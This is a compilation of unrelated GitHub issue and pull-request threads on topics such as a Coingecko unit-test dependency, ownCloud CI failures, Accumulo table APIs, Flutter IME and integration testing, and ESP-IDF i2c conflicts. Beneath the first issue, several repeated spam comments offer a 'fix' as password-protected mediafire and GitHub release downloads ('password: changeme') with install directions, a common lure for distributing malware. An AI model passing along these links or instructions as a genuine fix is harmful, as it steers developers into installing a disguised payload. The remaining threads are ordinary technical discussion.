Coingecko check should be moved out of unit tests

Summary
Problem Definition
Unit tests should not hit outside services. This will prevent the required unit tests check from blocking PRs when the coingecko API is not responding.
OR - we should mock the API response in the unit tests and move anything testing the API request to an integration test if we still need it.
Sample failure output:
=== RUN   TestCheckProviderMins_Valid
3:59PM WRN Coin gecko found 0 providers for OJO
3:59PM INF providers supporting ATOM: [BingX WhiteBIT Gate.io DigiFinex LBank Binance Phemex BitMart Bitget MEXC XT.COM CITEX Deepcoin P2B Bybit CoinTR Pro Dex-Trade OKX Helix KuCoin PointPay AscendEX (BitMax) Huobi Toobit DIFX Trubit BTCEX QMall CoinEx BtcTurk PRO LATOKEN LocalTrade Coinbase Exchange Bitazza BitStorage FameEX Kraken Poloniex Binance US Bitfinex Bitci TR]
3:59PM INF providers supporting USDT: [Bitfinex Kraken Crypto.com Exchange Coinbase Exchange WhiteBIT BTSE Coinzoom]
--- PASS: TestCheckProviderMins_Valid (1.60s)
=== RUN   TestCheckProviderMins_Invalid
3:59PM WRN Coin gecko found 0 providers for OJO
--- PASS: TestCheckProviderMins_Invalid (0.54s)
=== RUN   TestProviderWithAPIKey_Valid
3:59PM INF providers supporting ATOM: [BingX WhiteBIT Gate.io DigiFinex LBank Binance Phemex BitMart Bitget MEXC XT.COM CITEX Deepcoin P2B Bybit CoinTR Pro Dex-Trade OKX Helix KuCoin PointPay AscendEX (BitMax) Huobi Toobit DIFX Trubit BTCEX QMall CoinEx BtcTurk PRO LATOKEN LocalTrade Coinbase Exchange Bitazza BitStorage FameEX Kraken Poloniex Binance US Bitfinex Bitci TR]
3:59PM INF providers supporting USDT: [Bitfinex Kraken Crypto.com Exchange Coinbase Exchange WhiteBIT BTSE Coinzoom]
3:59PM ERR failed to start currency provider tracker error="json: cannot unmarshal object into Go value of type []config.coinList"
Proposal

For Admin Use

[ ] Not duplicate issue
[ ] Appropriate labels applied
[ ] Appropriate contributors tagged
[ ] Contributor assigned/self-assigned

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://github.com/Jostino/RimWorld-it/releases/tag/fix
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx


Trigger CI

Because I don't believe the unexpected test failure issue https://github.com/owncloud/core/issues/38657 that is happening in PR #1970 is due to the bump of the commit id.
Let's see what happens in current master.

https://drone.owncloud.com/owncloud/ocis/4725/36/7
runsh: Total unexpected failed scenarios throughout the test run:
apiTrashbin/trashbinFilesFolders.feature:201
apiTrashbin/trashbinFilesFolders.feature:202

That fails in master! How did that happen? I will investigate.

They were removed from the expected-failures file yesterday by commit https://github.com/owncloud/ocis/commit/26ee19d6fee65f3ddc88484220184c0c29ae27dd

@refs how did that commit get on the head of master branch? I don't see a matching PR.

I honestly have no idea how that commit got into master 😅 it was definitely me, but master has branch protection, so I have no clue how that got in

@refs PR to revert: https://github.com/owncloud/ocis/pull/1973 - please review.

See #1973 for the fix.


Is it possible for spydre to do animation?

Is it possible for spydre to do animation?
Every time, input triggers an action, it will refresh the screen, this makes animation impossible. Is it possible to use AJAX to fetch updated content of the page and display it asynchronously in the "existing" page?

@charleywan2004 seems possible. Can you give an example of how it might work?

bokeh can do the following
1, define a figure
fig1 = Figure(title_text_font_size="12pt",
plot_height=250,
plot_width=500,
tools="crosshair,pan,reset,resize,save,wheel_zoom",
title="",
x_range=[0, 200],
y_range=[0, 0.04]
)
2. define a data source
source1 = ColumnDataSource(data=dict(x=[], y=[], color=[]))
3. link data source to figure
fig1.circle('x', 'y', color='color', source=source1, size=20)
4. update data source
def update_data():
...
source1.data = dict(x=[Ravg],y=[Tavg],color=[color])
...
5. define event registration
def button_handler:
update_data()
button.on_click(button_handler)
On Sat, Apr 2, 2016 at 5:14 PM, Adam Hajari<EMAIL_ADDRESS>wrote:

@charleywan2004 https://github.com/charleywan2004 seems possible. Can
you give an example of how it might work?
—
You are receiving this because you were mentioned.
Reply to this email directly or view it on GitHub
https://github.com/adamhajari/spyre/issues/45#issuecomment-204805849


Move formatters to talon lists

Move formatters to talon lists for ease of customization

Oops I broke a help function. I'm going to convert this to draft until I can take a peek


cmd tests are not working properly

one example
test result:
===> Starting test <===
convert::expect_success_and_warning: Running: 'kompose convert --stdout -f /home/tomas/dev/goenv/kompose/src/github.com/skippbox/kompose/script/test/fixtures/etherpad/docker-compose.yml' expected_output: '/home/tomas/dev/goenv/kompose/src/github.com/skippbox/kompose/script/test/fixtures/etherpad/output-k8s.json' expected_warning: 'Unsupported key depends_on - ignoring'
PASS: converted output matches
PASS: warning found: 'Unsupported key depends_on - ignoring'

but if I run command manually it fails and there is no output:
▶ kompose convert --stdout -f /home/tomas/dev/goenv/kompose/src/github.com/skippbox/kompose/script/test/fixtures/etherpad/docker-compose.yml
WARN[0000] The DB_PORT variable is not set. Substituting a blank string.
WARN[0000] The DB_NAME variable is not set. Substituting a blank string.
WARN[0000] The DB_PASS variable is not set. Substituting a blank string.
WARN[0000] The DB_USER variable is not set. Substituting a blank string.
WARN[0000] The ROOT_PASS variable is not set. Substituting a blank string.
WARN[0000] The DB_PASS variable is not set. Substituting a blank string.
WARN[0000] The DB_PORT variable is not set. Substituting a blank string.
WARN[0000] The DB_USER variable is not set. Substituting a blank string.
WARN[0000] The DB_HOST variable is not set. Substituting a blank string.
WARN[0000] The DB_NAME variable is not set. Substituting a blank string.
FATA[0000] "mariadb" failed to load ports from compose file: invalid container port ""

My bad, I forgot export env varibales. :flushed:
When I export proper env variables that are specified in docker-compose.yml it works properly.
closing


Meridiem Selector & clock button appear editable when read-only="true"

When the meridiem selector is available but the directive is marked as read-only, the user can still click on the meridiem selector, but not make any choices. It would look better if this was not clickable at all - md-select has a disabled option to disable this.
Additionally, when the directive is in read-only, the clock icon has cursor: pointer, even though it's not editable. This should probably be set to cursor: default to stay consistent with md-datepicker.
Codepen of the issues:
https://codepen.io/cbacon91/pen/wqBrgY

Good points, I will apply the fixes below.

[ ] Append ng-disabled to md-select in mdMeridiem directive, no need for ng-disabled on md-option element
[ ] set cursor: default when directive is in read-only


M3-268 nodebalancer summary

Purpose
Add nodebalancer summary information

contains basic info about the nodebalancer
contains connections/second and incoming and outcoming traffic/second graphs

Notes

Created a new LineGraph component
No errors appear for bad requests to nodebalancer/stats, as per review notes on Linode stats errors
No filtering yet

@alioso this will need a bit of work. I did my best to copy over styles from LinodeSummary, but unfortuantely wasn't able to cover all the bases

Coverage decreased (-0.4%) to 26.844% when pulling 4a8f142729678288252b2d823e1c0b7893d13207 on martinmckenna:M3-268-nodebalancer-summary into 4d9e80be6a49524fd57a27565b885bdedb66eefb on linode:develop.

@rjstires styling done for this one. One thing that differs from the mockup is the region flag (not displaying currently as we are reusing the component from LinodesDetail which does not have it. I'd say we either have it on both or not whatsoever.
@martinmckenna we do need a rebase here

@asauber @rjstires ready for re-review
It felt good to delete all those lines from LinodeSummary

Echoing @rjstires, we should show the error state component instead of "Graphs" with blank space below it when the stats call fails.
Also @alioso the placement of the items in the summary panel doesn't look right.


[Windows] The suggestion window offset is wrong for the first character

Steps to reproduce

The error can be reproduced using Microsoft Pinyin on Windows 11.

Execute flutter run on the code sample
Add a textfield widget
the position of IME is not correct for the first char.

Expected results

Actual results

Code sample
Code sample
import 'package:flutter/material.dart';

void main() {
  runApp(const MyApp());
}

class MyApp extends StatelessWidget {
  const MyApp({super.key});

  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      title: 'Flutter Demo',
      home: MyHomePage(),
    );
  }
}

class MyHomePage extends StatefulWidget {
  const MyHomePage({super.key});

  @override
  State<MyHomePage> createState() => _MyHomePageState();
}

class _MyHomePageState extends State<MyHomePage> {
  @override
  Widget build(BuildContext context) {
    return Scaffold(
      body: Center(child: TextField()),
    );
  }
}

Screenshots or Video

Screenshots / Video demonstration

Logs
Logs
[Paste your logs here]

Flutter Doctor output
Doctor output
PS C:\Users\28529\Documents\GitHub\game_dungeon> flutter doctor -v
[√] Flutter (Channel stable, 3.22.2, on Microsoft Windows [版本 10.0.22631.3880], locale
    zh-CN)
    • Flutter version 3.22.2 on channel stable at C:\Users\28529\Documents\flutter
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision 761747bfc5 (8 weeks ago), 2024-06-05 22:15:13 +0200
    • Engine revision edd8546116
    • Dart version 3.4.3
    • DevTools version 2.34.3

[√] Windows Version (Installed version of Windows is version 10 or higher)

[X] Android toolchain - develop for Android devices
    X Unable to locate Android SDK.
      Install Android Studio from: https://developer.android.com/studio/index.html
      On first launch it will assist you in installing the Android SDK components.
      (or visit https://flutter.dev/docs/get-started/install/windows#android-setup for
      detailed instructions).
      If the Android SDK has been installed to a custom location, please use
      `flutter config --android-sdk` to update to that location.

[√] Chrome - develop for the web
    • Chrome at C:\Program Files\Google\Chrome\Application\chrome.exe

[√] Visual Studio - develop Windows apps (Visual Studio Community 2022 17.10.3)
    • Visual Studio at C:\Program Files\Microsoft Visual Studio\2022\Community
    • Visual Studio Community 2022 version 17.10.35013.160
    • Windows 10 SDK version 10.0.26100.0

[!] Android Studio (not installed)
    • Android Studio not found; download from
      https://developer.android.com/studio/index.html
      (or visit https://flutter.dev/docs/get-started/install/windows#android-setup for
      detailed instructions).

[√] VS Code (version 1.91.1)
    • VS Code at C:\Users\28529\AppData\Local\Programs\Microsoft VS Code
    • Flutter extension version 3.90.0

[√] Connected device (3 available)
    • Windows (desktop) • windows • windows-x64    • Microsoft Windows [版本
      10.0.22631.3880]
    • Chrome (web)      • chrome  • web-javascript • Google Chrome 126.0.6478.127
    • Edge (web)        • edge    • web-javascript • Microsoft Edge 127.0.2651.74

[!]  Doctor found issues in 3 categories.

Reproducible using the code sample provided above.
On windows, the suggestion/candidate window shifts/jumps to the correct offset after the second character is entered. In web(on windows host), the offset/position is consistent. I observed a similar behavior on macOS.

web
windows desktop

flutter doctor -v
[!] Flutter (Channel master, 3.24.0-1.0.pre.410, on Microsoft Windows [Version 10.0.22631.3880], locale en-US)
    • Flutter version 3.24.0-1.0.pre.410 on channel master at C:\Users\Deana\fvm\versions\master
    ! Warning: `flutter` on your path resolves to C:\Users\Deana\fvm\versions\stable\bin\flutter, which is not inside your current Flutter SDK checkout at C:\Users\Deana\fvm\versions\master. Consider adding C:\Users\Deana\fvm\versions\master\bin to the front of your path.
    ! Warning: `dart` on your path resolves to C:\Users\Deana\fvm\versions\stable\bin\dart, which is not inside your current Flutter SDK checkout at C:\Users\Deana\fvm\versions\master. Consider adding C:\Users\Deana\fvm\versions\master\bin to the front of your path.
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision dc99d2f692 (7 hours ago), 2024-08-01 21:40:10 -0400
    • Engine revision fe39ed980e
    • Dart version 3.6.0 (build 3.6.0-107.0.dev)
    • DevTools version 2.38.0
    • If those were intentional, you can disregard the above warnings; however it is recommended to use "git" directly to perform update checks and upgrades.

[√] Flutter (Channel stable, 3.22.3, on Microsoft Windows [Version 10.0.22631.3880], locale en-US)
    • Flutter version 3.22.3 on channel stable at C:\Users\Deana\fvm\versions\stable
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision b0850beeb2 (2 weeks ago), 2024-07-16 21:43:41 -0700
    • Engine revision 235db911ba
    • Dart version 3.4.4
    • DevTools version 2.34.3


Whats-New-GPML2021.html Updates New Interaction Panel

Should we add the corresponding equivalents for MIM and SBGN as examples?

New page created for Interaction_Panel to MIM SBGN.  I am likely missing some of the MIM and SBGN types, will make changes on this later (where can I find this information?). When plugins are available, pages will be updated with appropriate link.

See here . It also includes BioPax and what not.... we would need to check if there have been updates to SBGN etc. (which I doubt); MIM didn't change I heard.


ACCUMULO-4732 No APIs to configure iterators or locality groups for new tables

ACCUMULO-4732 No APIs to configure iterators or locality groups for new tables
Added several methods to the NewTableConfiguration class to allow for the configuration of locality groups
and the attachment of iterators prior table creation.
Modified/created 5 files:
NewTableConfiguration.java now has a setLocalityGroups, and two variations of an attachIterator method as
well as an additional helper method for checking iterator conflicts.
There is a new class, NewConfigurationTestIT.java to verify the updates made to the API.
An ensureNonOverlappingGroups functionality was extracted from TableOperationsImpl.java and added to
LocalityGroupUtil.java instead to allow for use by both NewTableConfiguration and TableOperationsImpl.
ReadWriteIT.java has an additional locality group test as well.

Can one of the admins verify this patch?

Thanks @ctubbsii . I shortened the commit header message and found the unused import. I'm not quite sure why my local build did not alert me to the unused import. I had run checkstyle locally but it passed for me.

It might depend on how you run checkstyle. I use mvn clean verify -DskipTests.

I think most comments have been addressed. Let me know if there are more or if I missed some.
I do have a concern about one of the tests that I hope someone can assist me with. The 'testSetPropertiesAndGroups' test sets two generic properties and a locality group prior to creating the table. After creation I call conn.tableOperations().getProperties to retrieve the properties of the table. I check for the properties of the locality groups and I have tried checking for the generic properties as well. The locality group properties are retrieved without issue. But, the generic properties are not returned. I expected that I would see them as well. Am I missing some step in the setProperties process or misunderstanding the use of the NewTableConfiguration.setProperties method? I have followed through the code and  verified that when the CreateTable() constructor is eventually called the generic properties are still in the supplied options Map. Suggestions or clarification of my expectations would be appreciated.

@jmark99 is that test consistently failing for you?  I just merged your branch into master locally and was able to run your new IT 5 or 6 times without failure (I ran just that IT in Eclipse over and over).  So I am curious if it fails intermittently and I need to run it more or if it fails all the time for you.

@keith-turner the current version up on github is missing the offending code. If you add the following lines to testSetPropertiesAndGroups() around line 182 it will cause the failure.
      if (property.getKey().contains("prop1")) {
        assertEquals(property.getValue(), "val1");
        count++;
      }
      if (property.getKey().contains("prop2")) {
        assertEquals(property.getValue(), "val2");
        count++;
      }
    }
    assertEquals(4, count);

@jmark99 now I see the problem, but I think you may have exposed a bug in your test (which is great).    I suspected the props were not showing up because they lacked the table. prefix and therefore were not table properties.  So I added the following and then your test worked.
    props.put(Property.TABLE_ARBITRARY_PROP_PREFIX.getKey()+"prop1", "val1");
    props.put(Property.TABLE_ARBITRARY_PROP_PREFIX.getKey()+"prop2", "val2");

So what happened when you set the properties without the table. prefix?  Were they just silently dropped or was something actually set in zookeeper?  Seems like something should throw an exception when its not a valid table prop.  Could add some sanity checks to NewTableConfiguration in order to fail fast.  May want sanity checks on the server side where create table is processed also.  This could be done as a follow on issue.

@keith-turner thanks for pointing that out. I guess I wasn't aware of that requirement for the tables. I'll update and push out the changes. I can add a follow-on ticket to look more closely into how to handle the situation when non-table properties are set. Thanks again.

@keith-turner when using the "prop1" alone, there was no indication of an error. The properties were simply not returned when calling getProperties. I didn't check zookeeper. I'll have to go back and take a look at that.

On line 59 of PopulateZookeeper the method TablePropUtil.setTableProperty() is called.  This method returns a boolean which PopulateZookeeper ignores.
For context, PopulateZookeeper is a step in the FATE operations that create a table.

On the server side, the props could be sanity checked at the following location before creating the FATE operation.
https://github.com/apache/accumulo/blob/rel/1.8.1/server/master/src/main/java/org/apache/accumulo/master/FateServiceHandler.java#L151

Updated NewTableConfiguration.java to verify user-defined table properties are correctly named. Created additional test in NewConfigurationTestIT.java to verify the properties. Will create follow-on ticket to add checks to server user properties.

@ctubbsii are you finished looking at this?

@keith-turner Yes. I'm finished now. I made one last comment up for discussion about the thrown exceptions, but the rest of the API looks fine to me.

I modified the exception from AccumuloException to IllegalArgumentException in the attachIterator method.


inconsistent implementation of vsha2ms.vv in rivosinc

The implementation of vsha2ms.vv in the rivosinc Spike fork does not match the specification. The specification says:
    {W[3],  W[2],  W[1],  W[0]}  : bits(EGW) = get_velem(vd, SEW, i);
    {W[11], W[10], W[9],  W[4]}  : bits(EGW) = get_velem(vs1, SEW, i);
    {W[15], W[14], W[13], W[12]} : bits(EGW) = get_velem(vs2, SEW, i);

But in the Spike fork it is:
        // {w3, w2, w1, w0} <- vd
        EXTRACT_EGU32x4_WORDS_BE(vd, w3, w2, w1, w0);
        // {w11, w10, w9, w4} <- vs2
        EXTRACT_EGU32x4_WORDS_BE(vs2, w11, w10, w9, w4);
        // {w15, w14, w13, w12} <- vs1
        EXTRACT_EGU32x4_WORDS_BE(vs1, w15, w14, w13, w12);

Note that vs1 and vs2 are swapped. Can you please confirm which is correct?
Also, the specification does not indicate word order swapping - is this a mistake?
Thanks.

Another similar issue was raised yesterday (vaseskf2 round index range) in RIVOS spike implementation.
I would say the spec is correct here, but maybe @kdockser can comment on that.

Thanks for pointing this out, James. I changed the spec to match SPIKE as this is a minor (but important) change and is much easier to do in the spec.
Nicolas, thanks for reminding me of the vaeskf2 round index range. This is part of a bigger problem (which you have alluded to in other issues). Basically, we have been inconsistent on handling out-of-range values; we ignore bits that are out of range (as is commonly done in RISC-V) but have been triggering exceptions on out-of-range values within the needed bits. I discussed this with Andrew and he suggested that we follow the V extension. This means that we will not signal exceptions on out-of-range immediates, and provide well defined behavior for all out-of-range values (immediate and register-read).


Consider sig verification prior to wallet deployment (ERC-6492)

https://eips.ethereum.org/EIPS/eip-6492
Related: #201

@jzaki Do we still want this for new work in WAX monorepo?


Re-enable auth-bundle test

Re-enable auth-bundle e2e tests
Update test framework

This PR:

Adds/changes/fixes/removes ...

Checklist

[ ] I added a CHANGELOG entry
[ ] I ran E2E tests in the CI pipelines

Add the following comment to trigger the E2E tests:
/run app-test-suites

/run app-test-suites


New seed

New seed and generator scripts. Built off of existing, making it more robust.
https://trello.com/c/EGyOOMUB

Per Leslie, first need to update the generator/ seed scripting to work with current database.
Then set up new databases and variant seeds to work with each of those databases.


docs fix spelling issues

Hey !
I fixed several spelling issues.Glad I could help .
Br, Guayaba221.

@brapse @tarcieri @xla Hello! Can someone take a look at this pull request and merge it if everything looks good? Let me know if any adjustments are needed. Appreciate it!


any example to use addChannel

Hello,
I am very interested in your project!
I am curious how to use addChannel. Could you show an example to user addChannel?
Thank you in advance.
Best,
Kazu

Add channel is for adding things where you want to specify the X axis manually. It isn't currently well documented but it works fine.
I use it here to monitor trajectory optimization codes:
https://github.com/ghorn/dynobud/blob/master/src/Dyno/DirectCollocation/Dynamic.hs#L55-L57

Thank you very much!!
Best,
Kazu

I'll leave this open as a reminder. I'm working on improving documentation

Added a link to addHistoryChannel

https://github.com/ghorn/Plot-ho-matic/commit/03d50babd252dc6202fbbb8df209e1aabf77d9d2


Fix broken headings in Markdown files

GitHub changed the way Markdown headings are parsed, so this change fixes it.
See bryant1410/readmesfix for more information.
Tackles bryant1410/readmesfix#1

Can one of the admins verify this patch?

Thanks


Add Saving/Loading Simulation From Mission Control

Problem
It is not possible to load or save a simulation to mission control form the bridge interface.
Solution
Tie the Simulation and UserSimulation resource services to the UI to to get basic functionality. This allow the admin panel to save a current simulation state as well as updates the app router to load a simulation state for a given ID.
Howto Test

Visit http://localhost:8000/#/s/random

[x] Confirm a random simulations loads
[x] Ensure you are logged in
[x] Click the save simulatio button
[x] Confirm you are redirected to the simulation route #/s/<id>
[x] Share the new link with your friends and ensure they can view the
saved simulation.

Visit http://localhost:8000/#/s/

[x] Confirm a list of simulation Id's are present
[x] Confirm clicking a id changes the route to #/s/<id>
[x] Confirm the simulation loads in the simulator

Visit http://localhost:8000/#/u/benjic

[x] Confirm a subset of the simulations occurs
[x] Confirm opening a simulation works

Visit the above link but change it to your user name

[ ] Confirm the previously saved simulation is present

References

Closes #137
This is dependent on orbitable/mission-control#57 being deployed to confirm
user subsets.
@rjfaust This sets up the resources to get simulations lists. This PR has the
bare minimum to get things working.
@mkinsey This addresses one of our groups effort bullet points.

The user simulation collection bug found is captured by orbitable/mission-control#61 .


Add support for coalesceFindRequests

This adds documentation that describes how to write a simple filter in DRF to support coalesced requests.  Additionally, we override _stripIDFromURL so that it can handle trailing slashes.
The original _stripIDFromURL implementation seems overly complicated, so I chose to simplify it down to a simple proxy to buildURL call with the record type.
Thanks to @g-cassie for inspiration on the DRF filter.
Fixes #32

@benkonrath I just cleaned up some typos in the docs and squashed commits.  Should be good to go.

Nice work on the docs. The example makes it very clear.
Do you think it's worth making a django library for the CoalesceFilterBackend? It's pretty simple to just cut & paste the code but it would also be nice to be able to have a tested library to avoid the cut & pasting code. I don't think it's required right now but if it's something you also think would be useful, we can make an new issue.

I have considered starting a separate Python library for the DRF-side tweaks.  I'm torn between referencing what's out there (such as @g-cassie's ember-drf) and creating something of our own.  It comes down to maintainability and utility—most of the existing libraries I've looked at attempt to be an all-in-one deal, which would not really align with EDA's goals.  Right now I'm leaning toward writing our own package, but for now adding code snippets to the docs will suffice.

Ok great, we're on the same page about the potential python package to support EDA.

Looks good. Just the one comment / issue.


feat(client): Inject common headers

Enabled passing the commonly used site header as an argument during HonoClient instance generation.

Hi @hagishi !
Thanks. This is a good feature. I'd like to accept and merge it.
One thing. How about making the second argument "RequestOptions" (I think it's better to rename RequestOption to RequestOptions) ?
// RequestOption is renamed to `RequestOptions`
hc = <T extends Hono>(baseUrl: string, options?: RequestOptions)

Then, we can pass the args.
const client = hc<AppType>('http://localhost', {
  headers: {
    'x-hono': 'hono',
  },
})

This would make it easier to handle if there are more options.

Hi @yusukebe
We made changes to allow accepting RequestOptions as an argument.

@hagishi
Great work! Implementing deepMerge is also good.
Finally, could you run yarn denoify and commit & push the emitted file? It's needed for Deno.

Thanks! I'll merge it!


Move project to a different subdomain

Is your feature request related to a problem? Please describe.
No
Describe the solution you'd like
Move the demo to a subdomain like demo.win11react.com or app.win11react.com
Edit: do the same for the docs. Move them to like docs.win11react.com it would look cleaner.
Describe alternatives you've considered
N/A
Additional context
N/A

@WilliamDavidHarrison It is already at win11react.com

@WilliamDavidHarrison It is already at win11react.com

No the app isn't, the app is at https://win11.blueedge.me

@WilliamDavidHarrison it is at both

@WilliamDavidHarrison it is at both

@notAperson535 What do you mean?

@WilliamDavidHarrison sorry, I am wrong.

when searching for win11 we come second only to msft ig changing the domain we use will negatively affect our rank on google search.

when searching for win11 we come second only to msft ig changing the domain we use will negatively affect our rank on google search.

Have it on both then maybe?

we have a blog on https://win11react.com ig it would be possible have it on app.win11react.com if that's what you mean

we have a blog on https://win11react.com ig it would be possible have it on app.win11react.com if that's what you mean

@yashash1511 That's what I mean.

@andrewstech owns the domain win11react.com so ig he will have to make some records.

Also, you got to be very careful  with dns records. Deleting a domain and letting it's CNAME records dangle could lead to a potential subdomain takeover.

Also, you got to be very careful with dns records. Deleting a domain and letting it's CNAME records dangle could lead to a potential subdomain takeover.

Yes.

Any updates?

No stale

@andrewstech would this be possible?

@yashash1511 @Lukas-Batema Any updates on this?

Any updates on this?

andrew has the access to the win11react.com domain not me so i can't.

@andrewstech

Think it should stay on as is for now.

Think it should stay on as is for now.

Ok


  You need to set up credential helper for VS Code to be able to talk to your Git remotes.
Please ask 'how-to' questions about VS Code on Stack Overflow using the tag vscode.
The VS Code development team together with the VS Code Community will answer your question over there.
Here is how the development team tracks feedback on the different channels: Feedback Channels.


i2c Conflict! i2c冲突 (IDFGH-14215)

Answers checklist.

[X] I have read the documentation ESP-IDF Programming Guide and the issue is not addressed there.
[X] I have updated my IDF branch (master or release) to the latest version and checked that the issue is present there.
[X] I have searched the issue tracker for a similar issue and not found a similar issue.

IDF version.
v5.3.2
Operating System used.
Windows
How did you build your project?
Command line with idf.py
If you are using Windows, please specify command line type.
CMD
What is the expected behavior?
He was supposed to burn and run normally
What is the actual behavior?
Unlimited restart after burning and display through monitor says i2c:COnFLIcT! driver ng is not allowed to be used with this old driver□
Steps to reproduce.
1.idf.py build
2.idf.py flash
3.idf.py monitor
Build or installation Logs.
i2c:COFLIcT! driver ng is not allowed to be used with this old driver□[0m
12:56:25.773]
bort()was calledatP0x420ca4abon core 0
Backtrace: 0x40379eae:0x3foeb100 0x40383e49:0x3foeb1e0 0x4038bab5:0x3fceb200 0x420ea4ab:0x3fceb270 0x420038e3.0x
0x4200395a:0x3fceb2b0 0x40379a4a.0x3fceb2d0 0x403c0941:0x3fcb340 0x403c0037:0x3fceb380 0x40308959:0x3foeb4b0
0x40045001:0x3fceb570 0x40043ab6:0x3fceb6f0 0x40034045:0x3fceb710

More Information.
No response

This error message could happen when you use two components, where component A is constructed based on the legacy i2c driver and component B is constructed based on the new i2c driver. In general, we don't expect the user to use both of them in the same application.

@suda-morris
@mythbuster5
I am having the same problem but with 1 specific device model only, the ESP32-S#-LCD-EV2 board using the latest BSP for this device.
As far as I can recall the BSP (used to?) use some mechanism for auto detecting the I2C driver/module being used. Is it possible that both drivers somehow get linked in here?

Oh, I found it. I used an audio codec device. You need to close idf.Py menuconifg ->Component config ->Audio Code Device Configuration ->Enable backward compatibility for the I2c driver (force use of the old I2c_driver above v5.3)

If no other topic, I will close this soon.

Seems there is no more update, I'm going to close it. Feel free to reopen if there is any follow up. Thanks!


clear_override is requiring device_id attribute

Hi,
#107 added support for more granular control over set_override and clear_override. It looks like clear_override is expecting a device_id key (required key not provided @ data['device_id'] when calling the service).
I'm not sure how set_override is working without setting an entity, but I'm not sure how to set device_id either (browsing through .storage/ I can see an entry_id which could be used for that, but unsure).


☂ Proposal: Make on-device testing awesome 💫

Some examples of things @johnmccutchan and I would like to do, but can't today:

Background a Flutter app with platform views, force trimmed memory, and then take a screenshot of the result
Find and interact with native widgets beyond screenshots (tap, read semantics, etc)
Encourage our team to write and maintain more integration tests, because they are easy to write and fast to iterate on

We should do something about it. A couple of options on the table include:

Invest more in flutter_driver, keeping integration_test more or less where it is today
Invest more in integration_test, keeping flutter_driver more or less where it is today
Either of those, but actually deprecate and work towards removing the other framework
Something else entirely (maybe some community solution is best and we should invest more in that?)

Outside of Flutter, here are some popular integration test solutions for similar problem spaces:

Appium; many platforms (including Flutter!), runs on the host.
Detox; React Native, cross-platform; runs on the host.
Espresso, Android; runs on the host.
Selenium WebDriver, Web; runs on the host.
XCTest, iOS; runs on the device.
UI Automator, Android; runs on the device.
EarlGrey, iOS; runs on the device.

Read more about the background of flutter_driver v integration_test
Background
Flutter ships with package:flutter_test, and the accompanying command, flutter test, which runs a headless version of Flutter (called flutter_tester) and runs Dart-based unit/functional tests, called widget tests, in a fake environment where the passage of time is controlled by the tester, with many extension points are stubbed out (like platform channels), and a software-based renderer that is ~mostly platform agnostic (and does not require a GPU, for example).
This workflow provides super fast lightweight tests that are suitable for testing widgets and compositions of widgets. It's possible to interact with the widget(s) under test, observe changes as a result, and even take screenshots and compare them for golden-file testing.
Notably, this fake environment has the following limitations:

The test runs on a fake device[^1], and cannot interact with plugins
The passage of time is tightly controlled by the developer, and doesn't always reflect the real interactions in production
Platform views do not show up, and cannot be interacted with (as there is no platform) and are missing in screenshots

[^1]: It is technically possible to flutter run a flutter_test and have it run on a real device; however many of the limitations remain.
Flutter also ships with two "integration test" packages, flutter_driver and integration_test, which unfortunately are in a state[^2] of neither being completed nor deprecated. It would take a lot of words to describe the current state, so instead focusing on some key points:
Flutter Driver
Runs the test script on the host, using a different API (similar to ChromeDriver) than tests authored with flutter_test.
PROs:

Conceptually simple; a small limited RPC-like API "talks" to a Flutter app running on a device
Capable of interactions that require a host, i.e. with adb or forcing a Dart VM GC
Already supports functionality such as screenshots

CONs:

All interactions must be serializable, meaning Finders cannot be re-used across flutter_test and flutter_driver
All interactions and assertions happen over RPC, leading to additional latency and in some cases, flakiness/synchronization
Can't (at least today) run on Firebase Testlab or systems that require a single bundled APK (or similar)

Integration Test
PROs:

Uses largely the same API as flutter_test
Runs entirely in the same process as the Flutter application/under-test, without RPC or serialization
Can more easily use a combination of platform channels or FFI to easily "talk" to the native platform
Is supported by Firebase Testlab and similar systems that require a single bundled APK (or similar), and no driver script

CONs:

Is, from what I can tell, incomplete (it's not clear we haven't finished migrating to it for a specific reason or not)
Structurally more difficult to interact with host-side tooling (i.e. adb, Dart VM, etc)

[^2]: Google employees can also read the internal-only go/flutter-integration-testing.

/cc @goderbauer @tugorez @jonahwilliams

I did a quick search in org:flutter:

We use flutter_driver in roughly ~85 files
There is about 3x more of integration_test in roughly ~225 files

integration_test uses flutter_driver though, so there isn't really an A or B. Some of the applications written using integration_test will still be doing a flutter_driver style test. There was also a "migration" attempt that updated a bunch of tests to use integration_test and in the process kneecapped the benchmark results.

The question at hand is, where do we invest our time, and what do we tell our teams to use?

integration_test is just re-exporting parts of flutter_driver and flutter_test though

@jonahwilliams thanks for all this context. I was walking my dog tonight and I thought "I bet integration_test uses driver under the hood" glad to have it confirmed without me having to ask :)
Let me try to reframe Matan's point (and correct me if I'm wrong Matan):
We need to decide what our public on-device testing API is. This may(will) be based on integration_test, flutter_driver, flutter_test, or some combination of them. We probably won't deviate much from the norm here when it comes to how widgets are tested, etc. I have a preference for easy porting of tests between unit(host) and integration(target) harnesses but it's just a preference. I expect we will have to extend the existing APIs to allow for controlling of the device (background, trim memory, enable wifi, yada yada), maybe we should introduce the concept of a 'Device' to the test harness and we can hang the platform-specific functionality off of platform-specific Device sub-classes. I dunno, just thinking out loud at this point.
Additionally I think we should prioritize:

Ensure that we can write all of the example tests Matan talks about in the top comment. I don't want us to design everything ahead of time but design it as we actually write these kinds of tests.
